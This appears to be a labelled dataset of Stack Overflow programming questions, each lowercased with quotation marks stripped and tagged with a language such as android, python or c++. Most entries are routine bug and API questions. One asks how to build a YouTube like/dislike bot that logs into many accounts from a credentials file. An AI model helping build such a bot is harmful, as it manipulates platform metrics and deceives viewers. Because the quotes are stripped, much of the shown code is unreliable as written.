android:layout_height= wrap_content          android:gravity= center          android:text= invalid  /&gt;  &lt;/linearlayout&gt; </code></pre>,android
is .net object creation  ex nihilo    i was reading about <a href= http://en.wikipedia.org/wiki/prototype-based >prototype-based</a> languages and this doubt comes into my mind:    is .net object creation <em>ex nihilo</em> ( from nothing ) and so allow new objects to be created from scratch  or  instead  is .net object creation based on cloning from an existing object (i.e. <a href= http://msdn.microsoft.com/en-us/library/system.object.aspx >object</a>) as the cloning prototype for new object creations,.net
battery-charging file on a sgs4 (when phone turned off)   i have a <strong>samsung galaxy s4</strong> and i want to change the file that displays that small battery  but not the one on the top of the screen but the big one when the phone is charging and plugged in.,android
how to clear input text box field on click of  discard changes button  & also retain the value of input box that is coming from a service  this is something conceptual.<br> i have a input text box ---> name: <strong>with some name for example mike(in text box)</strong>  that is coming from a service.<br> i have <strong>discard changes button</strong>.<br> on editing the name the button gets enabled but when i click on discard changes button :   <ul> <li>i want to discard the current changes of input box and retain the value that was coming from service.  </li> <li>i tried and made the model null but it makes the complete input box blank.</li> </ul>   please help.<br> thanks,angularjs
date overlap unique per user rails  i read this question <a href= https://stackoverflow.com/questions/47285635/date-range-overlap-per-user-rails >date range overlap per user rails</a>     how can you validate this per user using this code below:   <pre><code>def no_reservation_overlap   if (reservation.overlapping(date_start  date_end).any )      errors.add(:date_end   it overlaps another reservation )   end end </code></pre>   i used this code below which is the answer but it doesn t validate the conflict inbetween dates     booked june 2 to 3 created another booking 1 to 5 and it created how can i prevent that from happening    <pre><code>validate :no_reservation_overlap   def no_reservation_overlap   if (reservation.where( (  between date_start and date_end or   between date_start and date_end) and user_id =     self.date_start  self.date_end  self.user_id).any )      errors.add(:date_end   it overlaps another reservation )   end end </code></pre>,ruby-on-rails
sql update - cant specify target table in select  i have the following table   <pre><code>#key | #value colour | red weather | blue </code></pre>   now i want to update the value of the row with the key colour to be the value of the row with the key weather. so i am doing:   <pre><code>update table_name  set value = (select value from table_name where key =  weather )  where key =  colour ; </code></pre>   but this update gives me following error message:   <blockquote>    you can t specify target table for update in from clause  </blockquote>   how can i do that query without error,sql
why is the interpreter not giving syntaxerror for underscore   why python interpreter returns <code>&lt;class  type of the variable &gt;</code> for <code>type(_)</code>.    why the interpreter is not showing an error message for <code>_</code> but in the case of other special characters it is giving <code>syntaxerror</code>.   <pre><code>&gt;&gt;&gt; type(_) &lt;class  type &gt;  &gt;&gt;&gt; type($) syntaxerror: invalid syntax </code></pre>,python
segmentation fault (core dumped) in c++ deck class  i want to make a class called <code>deck</code> out of a class of <code>cards</code>. however  whenever i try to see what i ve put in my <code>deck</code>  i get an error that says <code>segmentation fault (core dumped)</code>. how can i fix this  i ve read from other questions that my program might be trying to access memory that hasn t been allocated  but i don t know where that is happening. this is the code i wrote:    deck.h:   <pre><code>#ifndef deck_h #define deck_h  #include &lt;vector&gt;  #include  card.h   class deck {      friend ostream &amp;operator&lt;&lt;(ostream &amp;  deck &amp;);      public:             deck();              void shuffle();      private:              vector&lt;card&gt; mydeck; };  #endif </code></pre>   deck.cpp   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;cstdlib&gt;  #include  deck.h  #include  card.h   deck::deck() {      for(int i = 1; i &lt;= 4; i++)     {             for(int j = 1; j &lt;= 13; j++)             {                     card mycard(j i);                     mydeck.push_back(mycard);             }     } }  void deck::shuffle() {     for(int i = 0; i &lt; 52; i++)     {             card temp(1 1);             int swapid = rand() % 52;              temp = this-&gt;mydeck[i];             this-&gt;mydeck[i] = this-&gt;mydeck[swapid];             this-&gt;mydeck[swapid] = temp;     } }  ostream &amp;operator&lt;&lt;(ostream &amp;output  deck &amp;thedeck) {     for(int i = 0; i &lt; 52; i++)     {            cout &lt;&lt; thedeck.mydeck[i];     } } </code></pre>   card.h:   <pre><code>#ifndef cards_h #define cards_h  #include &lt;string&gt;  using namespace std;  class card {      friend ostream &amp;operator&lt;&lt;(ostream &amp;  card &amp;);      public:             card(int face  int suit);              void showcard();      private:              string face;             string suit;              void processface(int value);             void processsuit(int suit); };  #endif </code></pre>   card.cpp:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  #include  card.h   using namespace std;  card::card(int face  int suit) { processface(face); processsuit(suit);  cout &lt;&lt;  new card created  &lt;&lt; endl; }  void card::showcard() { cout &lt;&lt;  this is the   &lt;&lt; this-&gt;face &lt;&lt;   of   &lt;&lt; this-&gt;suit &lt;&lt; endl; }  void card::processface(int value) {      switch(value)     {     case 1:     {         face =  ace ;         break;     }     case 2:     {         face =  2 ;         break;     }     case 3:     {         face =  3 ;         break;     }     case 4:     {         face =  4 ;         break;     }     case 5:     {         face =  5 ;         break;     }     case 6:     {         face =  6 ;         break;     }     case 7:     {         face =  8 ;         break;     }     case 9:     {         face =  9 ;         break;     }     case 10:     {         face =  10 ;         break;     }     case 11:     {         face =  jack ;         break;     }     case 12:     {         face =  queen ;         break;     }     case 13:     {         face =  king ;         break;     } } }  void card::processsuit(int decider) { switch(decider) {     case 1:     {         suit =  hearts ;         break;     }     case 2:     {         suit =  diamonds ;         break;     }     case 3:      {         suit =  clubs ;         break;     }     case 4:      {         suit =  spades ;         break;     } } }   ostream &amp;operator&lt;&lt;(ostream &amp;output  card &amp;mycard) { output &lt;&lt; mycard.face &lt;&lt;   of   &lt;&lt; mycard.suit &lt;&lt; endl; } </code></pre>   main.cpp:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;vector&gt;  #include  card.h  #include  deck.h   using namespace std;  int main() {      deck maindeck;      cout &lt;&lt; maindeck &lt;&lt; endl &lt;&lt; endl;  } </code></pre>,c++
paging with option/search box/dropdownlist  i followed this tutorial and created stored procedure for paging <a href= http://www.aspsnippets.com/articles/custom-paging-in-asp.net-gridview-using-sql-server-stored-procedure.aspx  rel= nofollow >http://www.aspsnippets.com/articles/custom-paging-in-asp.net-gridview-using-sql-server-stored-procedure.aspx</a>    and soon to realise that all my search/dropdownlist &amp; check boxes stopped working because it was meant for the normal retrieving of data.    may i know how do i implement those option in my paging code/store procedure   mine is a web application.    any samples   would be greatly appreciated,asp.net
why  this  in object function is different when called directly from addeventlistener  why does calling an object function straight from an addeventlistener make <code>this</code> point to calling element  but calling from a third party function makes <code>this</code> point to the object and not the third party function    <pre><code>var obj = {     me:  obj       objfunction: function(){         document.body.innerhtml += this.me;     } };  document.addeventlistener( mousedown   obj.objfunction); document.addeventlistener( mouseup   thirdparty);  function thirdparty(){     obj.objfunction(); } </code></pre>   the above code will print <code>undefined</code> on mousedown and <code> obj </code> on mouseup. <a href= http://jsfiddle.net/ana353lk/1/  rel= nofollow >http://jsfiddle.net/ana353lk/1/</a>    guess i m curious if there is an advantage to why it works this way...,javascript
how can i get the nth element of string for list of list in python   i have my txt file something like this.   <pre><code>[0   we break dance not hearts by short stack is my ringtone.... i love that !!!.....\n ] [1   i want to write a . i think i will.\n ] [2   @va_stress broke my twitter..\n ] [3   \  &amp;quot;y must people insist on talking about stupid politics on the comments of a bubblegum pop . sorry\n ] [4   aww great  &amp;quot;picture to burn&amp;quot;\n ] </code></pre>   i have a some code which want to access the 2nd element of each array. when i use the code from <a href= https://stackoverflow.com/questions/13188476/get-the-nth-element-from-the-inner-list-of-a-list-of-lists-in-python >get the nth element from the inner list of a list of lists in python</a> it is giving each characters but not the entire string.    what could be the best way to make a loop for getting second element     my code is something like this.    all the tweets are in the tweets[] list.   <pre><code>cluster = [] for idx  cls in enumerate(km.labels_):     if cls == 1:         # printing cluster 2 data.         # print tweets from the tweets array. like the entire line. but i          # want to get the string here not the entire line.         print tweets[idx]         cluster.append(tweets[idx]) </code></pre>   here  idx element is used to get specific queries. so tweets[idx] will print specific queries from the text file but it is printing the entire line like [2   @va_stress broke my twitter..\n ] and i want string element only.,python
error - symbol  tr  has multiple definitions.   i m trying to compile a code for bumper switches in my robot and i get this error:  error - symbol  tr  has multiple definitions.  what does this mean  i m painfully new to this...,c
could not load type from assembly error  i have written the following simple test in trying to learn castle windsor s fluent interface:   <pre><code>using nunit.framework; using castle.windsor; using system.collections; using castle.microkernel.registration;  namespace windsorsample {     public class mycomponent : imycomponent {         public mycomponent(int start_at) {             this.value = start_at;         }         public int value { get; private set; }     }      public interface imycomponent {         int value { get; }     }      [testfixture]     public class concreteimplfixture {         [test]         public void resolvingconcreteimplshouldinitialisevalue() {             iwindsorcontainer container = new windsorcontainer();             container.register(component.for&lt;imycomponent&gt;().implementedby&lt;mycomponent&gt;().parameters(parameter.forkey( start_at ).eq( 1 )));             imycomponent resolvedcomp = container.resolve&lt;imycomponent&gt;();             assert.areequal(resolvedcomp.value  1);          }     } } </code></pre>   when i execute the test through testdriven.net i get the following error:   <pre><code>system.typeloadexception : could not load type  castle.microkernel.registration.iregistration  from assembly  castle.microkernel  version=1.0.3.0  culture=neutral  publickeytoken=407dd0808d44fbdc . at windsorsample.concreteimplfixture.resolvingconcreteimplshouldinitialisevalue() </code></pre>   when i execute the test through the nunit gui i get:   <pre><code>windsorsample.concreteimplfixture.resolvingconcreteimplshouldinitialisevalue: system.io.filenotfoundexception : could not load file or assembly  castle.windsor  version=1.0.3.0  culture=neutral  publickeytoken=407dd0808d44fbdc  or one of its dependencies. the system cannot find the file specified. </code></pre>   if i open the assembly that i am referencing in reflector i can see its information is:   <pre><code>castle.microkernel  version=1.0.3.0  culture=neutral  publickeytoken=407dd0808d44fbdc </code></pre>   and that it definitely contains <strong>castle.microkernel.registration.iregistration</strong>    what could be going on      i should mention that the binaries are taken from the <a href= http://builds.castleproject.org/cruise/downloadbuild.castle number=956  rel= noreferrer >latest build of castle</a> though i have never worked with nant so i didn t bother re-compiling from source and just took the files in the bin directory.  i should also point out that my project compiles with no problem.,.net
how to parse a locally stored xml file in iphone   how to parse a locally stored xml file in iphone     please help me with this using code snippets,iphone
unable to download bpnm files properly  i has a file with extension .<strong>bpnm</strong>  follwing is the file i used    <pre><code> &lt;a id=   href= http://****.bpmn  download&gt;download bpnm&lt;/a&gt; </code></pre>   while trying to download that file using <strong>download bpnm</strong> link it is showing some xml file in browser.i m unable to see the actual file. what is wrong here      i m using apache tomcat 6 server and jsp,html
java robot class  i have a problem with typing in robot class. i want the robot to type something the user has entered. the robot for some reason can t type some of the characters. here is my type code:   <pre><code>public void type(string s robot robot) {     byte[] stringbytes = s.getbytes();      for (byte b : stringbytes) {         int code = b;          if (code &gt; 96 &amp;&amp; code &lt; 123)             code = code - 32;         robot.keypress(code);         robot.keyrelease(code);     } } </code></pre>   how can i fix this problem,java
angular datepicker off by one day  i am having an issue with the angular ui datepicker.  i have this value stored in the database: 2014-12-21t05:00:00.000z and if i just have a plain text box bound to i get the output below.  but when i add the data-picker directive it decrements a day off the value and displays 12-20-2014 instead of the correct 12-21-2014.  what am i doing wrong   thank you!   <pre><code>&lt;input type= text  ng-model= incident.createddate   /&gt;&lt;p /&gt; output is: 2014-12-21t05:00:00.000z  &lt;input type= text  ng-model= incident.createddate  datepicker-popup= {{format}}  /&gt;&lt;p /&gt; output is: 12-20-2014 </code></pre>,angularjs
dropdown menu changing onchange  i have 3 dropdown menu. and all 3 are interlinked. ie  if i select the values of 1st dropdown  depending on that the second dropdown should display values. depending on the selection of 2nd dropdown  3rd dropdown should populate the values. have done for 1st and 2nd. but depending on the values of 2nd drop down am not able to populate the values of 3rd dropdown. can anyone plaz help me. i know something like this will be in jfiddle.com. but not able to fine the exact name to search that!,html
rate this app - ios <h2>can i use the same  rate this app  url for an updated version of the app </h2>   eg: <strong>itms-apps://itunes.apple.com/webobjects/mzstore.woa/wa/viewcontentsuserreviews type=purple+software&amp;id=12345698</strong>    *so in the above example  if i have already used this above url for version 1.0 of my app. 1. can i use the same url for the updated version 1.1 of the app   2. will this url work once v1.1 of the app is uploaded on app store   3. or will the id number change incase of newer app version   *,iphone
how to retrieve all videos stored in iphone camera roll  i am using following code to choose image from camera role   <pre><code> picker= [[uiimagepickercontroller alloc] init]; picker.delegate = self; picker.sourcetype = uiimagepickercontrollersourcetypephotolibrary; //picker.sourcetype = uiimagepickercontrollersourc  //[self addsubview:imagepickercontroller.view]; [self presentmodalviewcontroller:picker animated:yes]; </code></pre>   but this shows only images   but i want to show all videos present in camera role   how can i do this,iphone
hidden folders still showing in gallery  i m trying to hide from gallery all my application s images . what i did was to use a  .  in my root folder to hide this  but after  that my gallery still showing my hidden as shown in screenshot. how can i remove it programatically   is there a better way to remove this images from gallery than hide the folder     <img src= https://i.stack.imgur.com/dqm3i.jpg  alt= enter image description here >,android
hover effects dont work  hover effects don t work when i m trying to make one element do something while hovering over another  as it is shown here:   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;111&lt;/title&gt; &lt;style type= text/css &gt; #aa {height: 500px; width:500px; background-color: blue; float: left;} #bb {height: 500px; width:500px; background-color: red; float: left;} #bb:hover #aa {background-color: green;} &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id= aa &gt;&lt;/div&gt; &lt;div id= bb &gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt;` </code></pre>   can you tell me what i am doing wrong  thank you!,css
how to synchronize a jframe show in others computer is same as host   my project having a jframe that showing some gui  the gui will represent a user or agent to move into the map. my jframe will keep refreshing to make the user gui moving on the map  and it have location to move with.    now i will need to implement the gui to show in others computer. if i successfully send the information and create a new user to show in the map gui of the host by just a button  any idea how i show the entire map of the host     i need to show the jframe at host when user access. but i got no idea what kind of thing i need to use to keep synchronize and show it  if i not planing to use java applet  what others can perform this function,java
how to implement chimpkit3   i m having big difficulties following the example in the chimpkit readme on <a href= https://github.com/mailchimp/chimpkit3  rel= nofollow >github</a>.   <pre><code>nsdictionary *params = @{@ id : @ 8ce4588803   @ email : @{@ email : @ foo@example.com }  @ merge_vars : @{@ fname : @ freddie   @ lname :@ von chimpenheimer }};     [[chimpkit sharedkit] callapimethod:@ lists/subscribe  withparams:params andcompletionhandler:^(chimpkitrequest *request  nserror *error) {         nslog(@ http status code: %d   request.response.statuscode);         nslog(@ response string: %@   request.responsestring);          if (error) {             //handle connection error             nslog(@ error  %@   error);             dispatch_async(dispatch_get_main_queue()  ^{                 //update ui here             });         } else {             nserror *parseerror = nil;             id response = [nsjsonserialization jsonobjectwithdata:request.responsedata                                                           options:0                                                             error:&amp;parseerror];             if ([response iskindofclass:[nsdictionary class]]) {                 id email = [response objectforkey:@ email ];                 if ([email iskindofclass:[nsstring class]]) {                     //successfully subscribed email address                     dispatch_async(dispatch_get_main_queue()  ^{                         //update ui here                     });                 }             }         }     }]; </code></pre>   apparently this is the code to subscribe an email to a list in mailchimp    i am getting errors:   <blockquote>    /subscribeemailviewcontroller.m:146:105: expected  )         subscribeemailviewcontroller.m:146:103: type specifier missing    defaults to  int         subscribebeemailviewcontroller.m:147:44: use of undeclared identifier    request         subscribeemailviewcontroller.m:146:103: incompatible block pointer   types sending  int ((^)(void))  to parameter of type    chimpkitrequestcompletionblock  (aka  void (^)(nsurlresponse   *__strong  nsdata *__strong  nserror *__strong) )  </blockquote>   this is basically copy and paste from the example  i can t figure out what detail i m missing here.  chimpkit was installed via cocoapods,objective-c
how to add border radius on table row  does anyone know how to style tr as we like     i ve used border-collapse on table  after that tr s can display 1px solid border i give them.    however  when i ve tried <code>-moz-border-radius</code>  it doesn t work. even simple margin doesn t work.,css
download canvas as image from different domain  in javascript  i want to download a canvas as image (jpeg)  the canvas is composed by two images from two domains. i have this code :   <pre><code>var img1 = new image(); img1.src =  domain1/image.jpeg ;  var img2 = new image(); img2.src =  domain2/image.png ;  var canvas = document.queryselector( #canvas ); var context = canvas.getcontext( 2d );  img1.onload = function(){     // some code to define width and height of canvas     context.drawimage(img1  0  0);     context.drawimage(img2  0  0); };  var link = document.getelementbyid( download ); link.addlistener( click   function(){     link.href = canvas.todataurl( image/jpeg );     link.download =  final_image.jpeg ; }); </code></pre>   and the html file :   <pre><code>&lt;canvas id= canvas &gt;  &lt;/canvas&gt;  &lt;a id= download &gt;download&lt;/a&gt; </code></pre>   but it doesn t work ... if i remove the two <code>drawimage</code>it work.,javascript
add a table row with a checkbox whose label updates with textbox input and button which deletes the row in asp.net  i ve tried combining answers from a number of threads  but my very new  under-developed asp.net skills are not playing ball.    i m trying to make a to-do list. the specifications are as follow:    <ol> <li> on page load  there must be an input textbox with  add task  in grey and a submit button next to it.  </li> <li> when text is added to the textbox and the submit button is clicked  a checkbox appears below for which the text is the user input from the textbox.  </li> <li> to the right of just-appeared checkbox  there should also appear a  delete  button which will get rid of both the checkbox and the delete button itself when clicked. </li> <li> when the checkbox is checked  its text should appear crossed out (strikethrough). </li> <li> upon browser refresh  all tasks should disappear. </li> <li> (and this is the big bother for me) no database is to be used. </li> </ol>   i d be very grateful for some pointers  even with regards to what model to use (wf  mvc  razor...)... thanks in advance for your time!,asp.net
ado.net entity data model  i write code for deleting selected row from database using bindingnavigatordeleteitem_click.but it was not working. and i m not getting any errors also.please help me.   <pre><code>    private void bindingnavigatordeleteitem_click(object sender eventargs e)     {         try         {             int i = nodedatagridview.rows.count;              if (messagebox.show( delete     confirm delete   messageboxbuttons.okcancel) == dialogresult.ok)                 {                      sqlconnection sc = new sqlconnection( data source=.;initial catalog=sdhdb;integrated security=true );                     sqlcommand cmd = new sqlcommand();                      cmd.parameters.addwithvalue( @linkid   sqldbtype.int).value = nodedatagridview;                     sc.open();                     cmd.commandtext =  delete * from node where linkid= ;                       da.update(ds   node );                     cmd.parameters.addwithvalue( @linkid   sqldbtype.int).value = i;                     int rows = cmd.executenonquery();                      sc.close();                     if (rows &gt; 0)                         messagebox.show( success );                     else                         messagebox.show( failure );                      nodebindingsource.removecurrent();                 }                 else                      messagebox.show( abort );             }          catch         {         } </code></pre>,c#
my peterson_lock failed in this situation  code:<br> [peterson_lock.h]     <pre><code>#include &lt;pthread.h&gt;  typedef struct {     volatile bool flag[2];     volatile int victim; } peterson_lock_t;  void peterson_lock_init(peterson_lock_t &amp;lock) {     lock.flag[0] = lock.flag[1] = false;     lock.victim = 0; }  void peterson_lock(peterson_lock_t &amp;lock  int id) {     lock.victim = id; // mark as a     lock.flag[id] = true; // mark as b     asm volatile ( mfence  : : :  memory );     while (lock.flag[1 - id] &amp;&amp; lock.victim == id); }  void peterson_unlock(peterson_lock_t &amp;lock  int id) {     lock.flag[id] = false;     lock.victim = id; } </code></pre>   [main.cpp]   <pre><code>#include &lt;stdio.h&gt; #include  peterson_lock.h   peterson_lock_t lock; int count = 0;  void *routine0(void *arg) {     int *cnt = (int *)arg;     for (int i = 0; i &lt; *cnt; ++i) {         peterson_lock(lock  0);         ++count;         peterson_unlock(lock  0);     }      return null; }  void *routine1(void *arg) {     int *cnt = (int *)arg;     for (int i = 0; i &lt; *cnt; ++i) {         peterson_lock(lock  1);         ++count;         peterson_unlock(lock  1);     } }  int main(int argc  char **argv) {     peterson_lock_init(lock);     pthread_t thread0  thread1;     int count0 = 10000;     int count1 = 20000;     pthread_create(&amp;thread0  null  routine0  (void *)&amp;count0);     pthread_create(&amp;thread1  null  routine1  (void *)&amp;count1);      pthread_join(thread0  null);     pthread_join(thread1  null);      printf( expected: %d\n   (count0 + count1));     printf( reality : %d\n   count);      return 0; } </code></pre>   run this program 1000 times  sometimes the result is not <code>30000</code>. but is i switch <code>a</code> and <code>b</code>  the result is always <code>30000</code>. but how could this happend     [please ignore this line  only to make this question could be submitted.please ignore this line  only to make this question could be submitted.please ignore this line  only to make this question could be submitted.],c++
how to enforce a constraint in mysql   i have a table t with two fields a and b of type integer.    now i want to enforce that a is smaller or equal to b.    do i have to create a  before insert/update -trigger     and if yes then how do i make the trigger fail,mysql
getting an error while uploading the file  i am trying to upload a 305968 kb file  i keep getting an error that file is too big  maximum file size exceeded. i did the below changes in web.config file   but i keep getting an error   <pre><code> &lt;httpruntime requestvalidationmode= 2.0  executiontimeout= 7200  maxrequestlength= 102400  minfreethreads= 88  minlocalrequestfreethreads= 76  apprequestqueuelimit= 200 /&gt;         &lt;compilation debug= true  targetframework= 4.0 &gt; </code></pre>   i also made this change in web.config file   <pre><code>&lt;security&gt;             &lt;requestfiltering&gt;                 &lt;requestlimits maxquerystring= 10000  maxurl= 10000  maxallowedcontentlength= 3072000000 &gt;&lt;/requestlimits&gt;             &lt;/requestfiltering&gt;         &lt;/security&gt; </code></pre>,asp.net
custom frame by frame animation in ios  is there a way to perform an animation in ios where <strong>at every frame</strong> i can do some calculations  update constraints and perform a layout (<code>layoutifneeded()</code>)     the animation i m trying to achieve seems impossible to do using the standard way of doing a constraint animation  which internally works by calculating just two frames  the first and the last one  so <code>layoutifneeded()</code> is called just twice. in the intermediate frames  view positions are determined by simply interpolating between the first and last frames. i want to recalculate the layout at every frame.,ios
making a youtube like / dislike bot  having trouble figuring out code. i m going to be using basic .net code to make this but i m having trouble with streamreader.    i want the program to read from a text file   and use it s credentials to log in. once done it will click a video or whatever   then click like / dislike   and log out  and move to the next line in the text file.    i can get the streamreader to display all text in the file and stuff   but i can t get it to read line by line  stopping after each line to complete the above process.    i m sorry if this question doesn t make as much sense as it could  i m really tired at the moment.    summary:    i wan t the stream reader to read from a text file  use each lines text to log into a website individually   complete a task  and log out. then move onto the next line in the text file and use the text to log into another account. any help is appreciated!,.net
how can i split a string on a carriage return with sscanf   how can i split a string on a carriage return (<code>\r\n</code> or just <code>\n</code>) with <code>sscanf</code>,c
where does this null tuple comes from  i realy don´t get it  why and where sometimes a null tuple comes from. i´d compared the input-data and there is nothing  from where i could tell  ok this is different  that´s the problem . so sometimes it get attached and sometimes not.   <pre><code>select xp1.some_id  coalesce(aa1.numberpp kk1.numberpp) as numberpp  coalesce(aa1.tnumb kk1.tnumb) as tnumb  coalesce(aa1.xy_id kk1.xy_id) as tnumb  coalesce(aa1.sam kk1.sam) as sam  ......   from tab1 t1 inner join tayy1 xp1 on t1.id = xp1.id left join tab1 aa1 on (    t1.m_id is null    and aa1.m_id is null    and aa1.xy_id is not null    and t1.xy_id is not null    and t1.xy_id = aa1.xy_id    and t1.numberpp = aa1.numberpp    and t1.tnumb = aa1.tnumb  ) left join tab1 kk1 on (    t1.m_id is not null    and t1.xy_id is null    and kk1.m_id is not null    and kk1.xy_id is null    and t1.m_id = kk1.m_id ) </code></pre>   output:   <pre><code>some_id numberpp    tnumb   xy_id    sam      xy     yx       xx 1      &lt;null&gt;       &lt;null&gt;    32     s.th    xyz     123    &lt;null&gt; 1      &lt;null&gt;       &lt;null&gt;  &lt;null&gt;  &lt;null&gt;  &lt;null&gt;  &lt;null&gt;  &lt;null&gt; 1         1           2       32     s.th    xyz      123     55 </code></pre>   (t1.m_id and aa1.xy_id) can be null and the other keys not null in tab1 t1 and the other way in tab1 kk1.    later a better one  but input is like that:   <pre><code>   m_id     xy_id     otherid(not in code)     sam    car      color   213424    null      null                      kts    tesla     red    null     1236       14                       prs    bmw       black </code></pre>   and in some cases the output is like:   <pre><code>some_id  sam     car    color 1         kts   tesla    red 1         null   null    null 1         prs    bmw     black </code></pre>   sry for the edits  i hope the small input table is now ok..later a better one.,sql
problems with manipulating bytes in a nsmutabledata - wave header info  i am trying to manipulate a wave file header.  i have loaded the file into a nsmutabledata and am trying to change the wav file header info.  my problem is that on the line:   <pre><code>[maindata replacebytesinrange:range withbytes:((uint32 *)tfsc1length)]; </code></pre>   i am receiving a exc_bad_access error.  can t understand why.  any ideas     the code i am using is as follows:   <pre><code>// calculate total file length (minus 8 for the header)  chunk size  number of channels  sample rate and bits per sample int tflength        = ([maindata length] - 8); int tfchannels      = 1;   // mono int tfsamplerate    = 44100; int tfdatalength    = ([maindata length] - 44); int tfbitspersample = 16;  int tfsc1length     = 16; int tfaudioformat   = 1;  //we are rebuilding the header for the wave files...  // chunk identifier ((char *)[maindata mutablebytes])[0] =  r ; ((char *)[maindata mutablebytes])[1] =  i ; ((char *)[maindata mutablebytes])[2] =  f ; ((char *)[maindata mutablebytes])[3] =  f ;  // size (less 8 bytes) nsrange range; range.location = 4; range.length = 4; [maindata replacebytesinrange:range withbytes:(uint32 *)tflength];  // the file format ((char *)[maindata mutablebytes])[8]  =  w ; ((char *)[maindata mutablebytes])[9]  =  a ; ((char *)[maindata mutablebytes])[10] =  v ; ((char *)[maindata mutablebytes])[11] =  e ;  // subchunk1 id ((char *)[maindata mutablebytes])[12] =  f ; ((char *)[maindata mutablebytes])[13] =  m ; ((char *)[maindata mutablebytes])[14] =  t ; ((char *)[maindata mutablebytes])[15] =    ;  // subchunk length range.location = 16; range.length   = 4; [maindata replacebytesinrange:range withbytes:((uint32 *)tfsc1length)];  // audio format range.location = 20; range.length   = 2; [maindata replacebytesinrange:range withbytes:((uint16 *)tfaudioformat)];  // number of channels range.location = 22; range.length   = 2; [maindata replacebytesinrange:range withbytes:((uint16 *)tfchannels)];  // sample rate range.location = 24; range.length   = 4; [maindata replacebytesinrange:range withbytes:((uint32 *)tfsamplerate)];  // byte rate range.location = 28; range.length   = 4; [maindata replacebytesinrange:range withbytes:((uint32 *)(tfsamplerate * ((tfbitspersample * tfchannels) / 8)))];  // block align range.location = 32; range.length   = 2; [maindata replacebytesinrange:range withbytes:((uint16 *)((tfbitspersample * tfchannels) / 8))];  // bits per sample range.location = 34; range.length   = 2;  [maindata replacebytesinrange:range withbytes:((uint16 *)tfbitspersample)];  // adjust the length field of the wave file... ((char *)[maindata mutablebytes])[36] =  d ; ((char *)[maindata mutablebytes])[37] =  a ; ((char *)[maindata mutablebytes])[38] =  t ; ((char *)[maindata mutablebytes])[39] =  a ;  // length of the audio data range.location = 40; range.length   = 4; [maindata replacebytesinrange:range withbytes:(uint32 *)tfdatalength]; </code></pre>,iphone
how do i make it not show dots less than x chars   if less than x don t show a  ...     <pre><code>&lt; php echo substr(stripslashes($row[ news_title ])  0  20).  .. ;  &gt; </code></pre>   i have it to show more than x if more than 20  but it shows  ...  when there s 10 chars. is there anyway i could have it not to show      any tutorials      thanks!,php
jquery .hover() functions external  i run into a little problem today. i ve a divbox. this divbox should expand if i hover it and should collapse if i leave it.     so i write two functions:   <ol> <li>function expand(){....};</li> <li>function collapse(){....};</li> </ol>   and then i tried to do the hover effect as following:   <pre><code>$( .divboxes ).hover(expand()  collapse()); </code></pre>   i thought this will work...but...not.    several times i used it like:   <pre><code>$( .divboxes ).hover(function(){...} function(){...}); </code></pre>   and it worked...so can someone explain me what i am doing wrong  i want the functions external!,jquery
bitwise shift with logical or in c  my original code to take x and turn it into the largest negative int was    <pre><code>*x = 1 &lt;&lt;31 | ~ 1&lt;&lt;31; </code></pre>   which works but when i tried just using   <pre><code>*x = 1 &lt;&lt;31; </code></pre>   it returned the same answer can someone explain why this is so,c
objective c  how to store uiimage  i want to store an image from imagepickercontroller delegate method... i know that the image returned is huge so i will resize it. i have used sqlite for data persistency but don t have any idea how i can store the image...,objective-c
difference between  lambda  and  def  statement   i am learning python since one year  i don t found  lambda  useful.  lambda  is much similar to  def  statement. i need an example where i must need to use  lambda  statement and i can t use  def  here at all.,python
how to disable the back button in device by implement 1 function  i am trying to disable the back button in my device with the following code. the code is working but i would like that the function that handle all the back button request in the fragments will derived from the main activity    this is the back button handler:   <pre><code>@override public void onactivitycreated(bundle savedinstancestate) {     super.onactivitycreated(savedinstancestate);     getview().setfocusableintouchmode(true);     getview().requestfocus();      getview().setonkeylistener(new view.onkeylistener() {         @override         public boolean onkey(view v  int keycode  keyevent event) {             if (event.getaction() == keyevent.action_down) {                 if (keycode == keyevent.keycode_back) {                     toast.maketext(getactivity()   please navigate via the menu   toast.length_short).show();                     return true;                 }             }             return false;         }     }); } </code></pre>,android
specific instruction to firefox  i m trying to make some spaces into my webpage and when i test the result i ve found that only firefox (version : 27.0) haven t been spaced.    what s the instruction to write to add <code>&lt;br /&gt;</code> if the current web browser is firefox  please     thanks a lot!,html
c90  posix  and clock_gettime  before you read the question just know that this is  for the customer  therefore i have zero choice in the matter.    so our customer is using the c90 standard for their projects.  up until this point we d been using c99 and been happy to do it.  the function that is getting in our way from completing this task is <code>clock_gettime</code>.  we need a way to get millisecond accurate time for use in timing.    i d looked at the c90 implementation of time.h and found that <code>time(time_t*)</code> is only accurate at the seconds level.  <code>clock</code> is supposed to let me know how many clicks have passed since the program started running but that is coming back erratic.  a <code>printf</code> i have in a 10000 repetition while loop is coming back with a <code>clock()</code> value anywhere from 30 to 120.  this is far too erratic to use.    so  the question is  does anybody know of a good c90 compliant way to get millisecond accurate system time   we only are interested in the delta of two readings.    thanks  soulsabr    edit : as pointed out by zwol i forgot to mention i do know that <code>clock_gettime</code> is posix.  i think we re not too picky with the result so long as gcc on cygwin using <code>-std=c90</code> doesn t complain at us.  :)  in my defense i ve been googling this all day and my brain hurts.    edit 2 : after further research i suspect i may be asking the wrong question due to me not understanding exactly what posix is and when it was defined.  so  looking through the <code>.h</code> for <code>time.h</code> i noticed that <code>_posix_timers</code> is not defined when using <code>-std=90</code> which is why i can t use <code>clock_gettime</code>.  defining <code>_posix_timers</code> makes everything work.  so  i guess the question i should be asking is what is the proper way to  turn the missing posix functions on  or do you think simply defining <code>_posix_timers</code> is an appropriate solution     also  if anybody thinks that i should nuke this question and ask it anew let me know and i will.,c
circular wheel type scrolling menu in android  i want to implement same menu in my application. i tried many demo examples of wheel type that use a static image which is upl![enter image description here][1]oaded once without any success. . so any one please help me out    a menu exact similar to this    link => <a href= https://stackoverflow.com/questions/12072692/a-circular-layout-with-scrollable-contents-in-it >https://stackoverflow.com/questions/12072692/a-circular-layout-with-scrollable-contents-in-it</a>,android
